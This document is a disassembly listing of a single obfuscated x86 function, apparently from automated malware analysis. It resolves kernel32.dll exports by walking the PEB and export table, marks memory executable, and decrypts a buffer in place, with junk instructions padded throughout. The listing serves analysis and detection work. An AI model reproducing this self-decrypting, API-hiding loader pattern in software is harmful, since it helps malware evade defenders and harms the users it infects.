Function at 0x406e95
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push ebx
push edi
add esp, 4
jmp 0x406d18
pop ebx
mov ecx, dword [ebp - 0x514]
mov dword [ebp - 0x2fc], ecx
jmp 0x406d8f
push ebx
xor ebx, 0x17d3a
sub ebx, 0xcf12
pop ebx
push ebx
push ebx
add esp, 4
add ebx, 0x18533
xor eax, dword [ebp + 0x565b0001]
push eax
add esp, 4
xor esi, 0x13c90
nop
cmp al, 1
add byte [ecx + 0x127bf6], al
add byte [ecx + 0x16271c6], al
add byte [esi - 0x7d], bl
mov ebp, 0xfffffd04
add byte [edi], cl
test eax, edi
or byte [eax], al
invalid
mov eax, 0x6b
mov word [ebp - 0x1790], ax
mov ecx, 0x65
mov word [ebp - 0x178e], cx
mov edx, 0x72
mov word [ebp - 0x178c], dx
mov eax, 0x6e
mov word [ebp - 0x178a], ax
mov ecx, 0x65
add byte [eax], al
add byte [esi - 0x77], ah
lea edi, [eax - 0x18]
invalid
invalid
mov edx, 0x6c
mov word [ebp - 0x1786], dx
mov eax, 0x33
mov word [ebp - 0x1784], ax
mov ecx, 0x32
mov word [ebp - 0x1782], cx
mov edx, 0x2e
mov word [ebp - 0x1780], dx
mov eax, 0x64
mov word [ebp - 0x177e], ax
mov ecx, 0x6c
mov word [ebp - 0x177c], cx
mov edx, 0x6c
mov word [ebp - 0x177a], dx
xor eax, eax
mov word [ebp - 0x1778], ax
push eax
call 0x406e74
add byte [eax], bh
inc eax
cmp al, 0x4e
cmp ecx, dword [esi - 0x7d]
les eax, [eax + ebx*2]
push eax
jmp 0x406e82
and eax, 0x15b34
call 0x406e95
add byte [ecx], bh
push eax
cmp al, 0x33
inc edx
cmp dword [ebx - 0x39a7fb3c], eax
test dword [edi + esi*8 - 1], ebx
dec dword [esi + eax*8 - 0x7b]
pop ebp
idiv edi
jmp [edi - 0x3a]
push edx
push ecx
add esp, 4
or edx, 0x11319
sub edx, 0x4c21
pop edx
push ecx
push ebx
add esp, 4
or ecx, 0x16d96
sub ecx, 0x13f2a
sub ecx, 0xa825
pop ecx
push edi
xor edi, 0x136c1
pop edi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19bc], ecx
mov edx, dword [ebp - 0x19bc]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19c0], eax
mov ecx, dword [ebp - 0x19c0]
mov dword [ebp - 0x167c], ecx
push esi
jmp 0x407729
add esi, 0xb214
call 0x40773b
add byte [edx + ecx*2], bh
dec ebx
aaa
xor al, 0x4c
add esp, 4
pop esi
push esi
add esi, 0x18aa
jmp 0x40774b
add esi, 0x10506
pop esi
cmp dword [ebp - 0x167c], 0
jne 0x40776a
mov dword [ebp - 0x2fc], 0
jmp 0x407a11
mov edx, dword [ebp - 0x167c]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce0], ecx
push ebx
xor ebx, 0xdd4b
pop ebx
push esi
push edx
add esp, 4
sub esi, 0x3c8e
sub esi, 0x15a40
jmp 0x40779b
or esi, 0x13c7c
pop esi
push edi
push edx
add esp, 4
or edi, 0xc809
pop edi
cmp dword [ebp - 0xce0], 0
jne 0x4077c6
mov dword [ebp - 0x2fc], 0
jmp 0x407a11
mov edx, dword [ebp - 0xce0]
mov dword [ebp - 0x51c], edx
push edx
xor edx, 0x12b4f
add edx, 0x144c0
add edx, 0x13b8e
pop edx
push esi
push ebx
add esp, 4
sub esi, 0xe35c
and esi, 0x2f8a
add esi, 0x2284
add esi, 0x135a1
pop esi
lea eax, [ebp - 0x1738]
mov dword [ebp - 0xcdc], eax
mov ecx, dword [ebp - 0x51c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcd8], edx
xor eax, eax
mov word [ebp - 0x224], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push eax
push ebx
add esp, 4
jmp 0x40783c
pop eax
push ecx
push eax
add esp, 4
call 0x407851
add byte [esi], dh
cmp dword [ebx + 0x4f], eax
dec ebp
inc ecx
inc esp
xor cl, byte [eax - 0x7d]
les eax, [ebx + ebp*8]
add esi, dword [esi]
inc edi
dec edx
add ecx, 0x663d
pop ecx
mov edx, dword [ebp - 0xcd8]
mov ax, word [edx]
mov word [ebp - 0x1046], ax
mov ecx, dword [ebp - 0xcd8]
add ecx, 2
mov dword [ebp - 0xcd8], ecx
mov dx, word [ebp - 0x1046]
mov word [ebp - 0x224], dx
mov eax, dword [ebp - 0xcdc]
mov cx, word [eax]
mov word [ebp - 0x1048], cx
mov edx, dword [ebp - 0xcdc]
add edx, 2
mov dword [ebp - 0xcdc], edx
mov ax, word [ebp - 0x1048]
mov word [ebp - 0x40], ax
push eax
and eax, 0x12c5d
add eax, 0x13c59
or eax, 0x11f9d
pop eax
push eax
push eax
add esp, 4
xor eax, 0x551e
pop eax
push ebx
call 0x4078e5
add byte [esp + esi], bh
inc edi
cmp dword [ebx + edi + 0x3a], eax
add esp, 4
pop ebx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x407906
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x1684], edx
jmp 0x407960
movzx ecx, word [ebp - 0x224]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x40782e
movzx eax, word [ebp - 0x224]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x40782e
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x40794a
mov dword [ebp - 0x1680], 0xffffffff
jmp 0x407954
mov dword [ebp - 0x1680], 1
mov ecx, dword [ebp - 0x1680]
mov dword [ebp - 0x1684], ecx
cmp dword [ebp - 0x1684], 0
jne 0x4079a9
push edx
push ebx
add esp, 4
sub edx, 0x15ffb
add edx, 0x57ab
xor edx, 0xb434
xor al, 0xb4
add byte [eax], al
pop edx
push ecx
or ecx, 0x1506
push es
adc eax, 0xe9810000
in al, dx
and al, byte [ecx]
add byte [ecx + 0x51], bl
push ebx
add esp, 4
sub ecx, 0x107f5
pop ecx
mov edx, dword [ebp - 0x51c]
mov dword [ebp - 0x2fc], edx
jmp 0x407a11
push eax
push ebx
add esp, 4
sub eax, 0x1aad
sub eax, 0x14ad4
or eax, 0x655a
pop eax
push ebx
push ecx
add esp, 4
sub ebx, 0xf00e
jmp 0x4079d2
pop ebx
push esi
or esi, 0x106dd
pop esi
mov eax, dword [ebp - 0x51c]
mov ecx, dword [eax]
mov dword [ebp - 0x51c], ecx
mov edx, dword [ebp - 0x51c]
cmp edx, dword [ebp - 0xce0]
je 0x407a07
mov eax, dword [ebp - 0x51c]
cmp dword [eax + 0x30], 0
jne 0x4077d2
mov dword [ebp - 0x2fc], 0
push ebx
push edi
add esp, 4
and ebx, 0xab59
and ebx, 0xff79
xor ebx, 0xece9
pop ebx
push ebx
sub ebx, 0xc14a
add ebx, 0x14eef
and ebx, 0xdf0f
sub ebx, 0xfbdf
pop ebx
mov ecx, dword [ebp - 0x2fc]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x338], edx
push ecx
push edi
add esp, 4
jmp 0x407a5f
sub ecx, 0x13375
xor ecx, 0x17d2
pop ecx
push edi
push esi
add esp, 4
sub edi, 0x11316
pop edi
push eax
push ebx
add esp, 4
add eax, 0xb48c
pop eax
mov dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x1688], eax
cmp dword [ebp - 0x1688], 0
jne 0x407ab4
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x407da5
mov edx, dword [ebp - 0x1688]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x168c], eax
jne 0x407adc
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x407da5
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x168c]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1690], edx
cmp dword [ebp - 0x1690], 0
jne 0x407b0e
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
jmp 0x407da5
mov ecx, dword [ebp - 0x338]
add ecx, dword [ebp - 0x1690]
mov dword [ebp - 0x788], ecx
jne 0x407b33
mov edx, dword [ebp - 0x794]
mov dword [ebp - 0x520], edx
jmp 0x407da5
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19c4], ecx
cmp al, 0xe6
invalid
dec dword [ebx - 0x7876b]
dec dword [ebx - 0x3377b]
enter 0xfffffffffffffffc, 0xffffffffffffffff
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19c8], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19cc], edx
mov dword [ebp - 0x78c], 0
jmp 0x407b8d
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x78c]
cmp edx, dword [ecx + 0x18]
jae 0x407d99
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19c4]
mov edx, dword [ebp - 0x338]
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
mov ecx, dword [ebp - 0x520]
mov dword [ebp - 0xab4], ecx
push esi
push eax
add esp, 4
and esi, 0x5c07
or esi, 0x17b8a
xor esi, 0xb97a
or esi, 0x4ae7
pop esi
push ebx
sub ebx, 0x89ec
and ebx, 0x7afb
xor ebx, 0xd327
pop ebx
mov edx, dword [ebp - 0xab4]
mov dword [ebp - 0x19d4], edx
lea eax, [ebp - 0xce8]
push eax
push 0x40
mov ecx, dword [ebp - 0x1694]
push ecx
mov edx, dword [ebp - 0x3e8]
push edx
call dword [ebp - 0x19d4]
test eax, eax
jne 0x407e56
push esi
jmp 0x407e17
pop esi
push esi
jmp 0x407e1e
call 0x407e2a
add byte [esi], bh
dec ecx
inc ebp
dec ebx
dec esi
dec eax
add esp, 4
pop esi
push ebx
add ebx, 0xf061
pop ebx
push ebx
push ebx
add esp, 4
add ebx, 0x14aa3
pop ebx
mov eax, dword [ebp - 0x79c]
mov dword [ebp - 0x19d8], eax
push 0
call dword [ebp - 0x19d8]
mov ecx, dword [ebp - 0x19dc]
mov dword [ebp - 0x798], ecx
jmp 0x407e73
mov edx, dword [ebp - 0x798]
add edx, 1
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x798]
cmp eax, dword [ebp - 0xab8]
jae 0x407ecf
push eax
push edi
add esp, 4
sub eax, 0x1278e
or eax, 0x16095
and eax, 0x8ff3
pop eax
push edx
sub edx, 0x156f5
sub edx, 0x1768f
or edx, 0xec3b
sub edx, 0x1285
pop edx
movzx ecx, byte [ebp - 0x3ae]
mov edx, dword [ebp - 0x798]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x798]
mov byte [ecx], al
jmp 0x407e64
mov edx, dword [ebp - 0xab4]
mov dword [ebp - 0x19e0], edx
lea eax, [ebp - 0xce8]
push eax
mov ecx, dword [ebp - 0xce8]
push ecx
mov edx, dword [ebp - 0x1694]
push edx
mov eax, dword [ebp - 0x3e8]
push eax
call dword [ebp - 0x19e0]
test eax, eax
jne 0x407f47
push edi
push eax
add esp, 4
and edi, 0x172be
pop edi
push edx
push esi
add esp, 4
sub edx, 0x3565
xor edx, 0x13b2d
jmp 0x407f24
and edx, 0xb079
pop edx
push ebx
xor ebx, 0xaf45
pop ebx
mov ecx, dword [ebp - 0x79c]
mov dword [ebp - 0x19e4], ecx
push 0
call dword [ebp - 0x19e4]
push eax
and eax, 0x893c
or eax, 0xf26f
and eax, 0xc3ec
xor eax, 0x38c9
pop eax
push ebx
add ebx, 0x10e3
pop ebx
push ebx
jmp 0x407f70
jmp 0x407f78
pop ebx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff09ff
pop ecx
pop esp
mov dh, ah
sbb dword [ebx + 0x60640909], edi
pop ebx
mov ebp, cs
or eax, 0x740ed88a
or dword [ecx], ecx
mov al, byte [eax]
pop ds
mov bl, 9
or dword [edx + 0x9afa2f8], ecx
or ecx, esi
adc ecx, dword [ecx]
or dword [ecx], ecx
or dword [edx + 0x50], eax
cmp edi, dword [ebx + ecx*2]
pop ecx
cmp eax, 0xcd8c5445
or eax, 0xbd8ecf68
test dword [eax], 0x8ecf5008
mov esi, 0x6e0808f7
iretd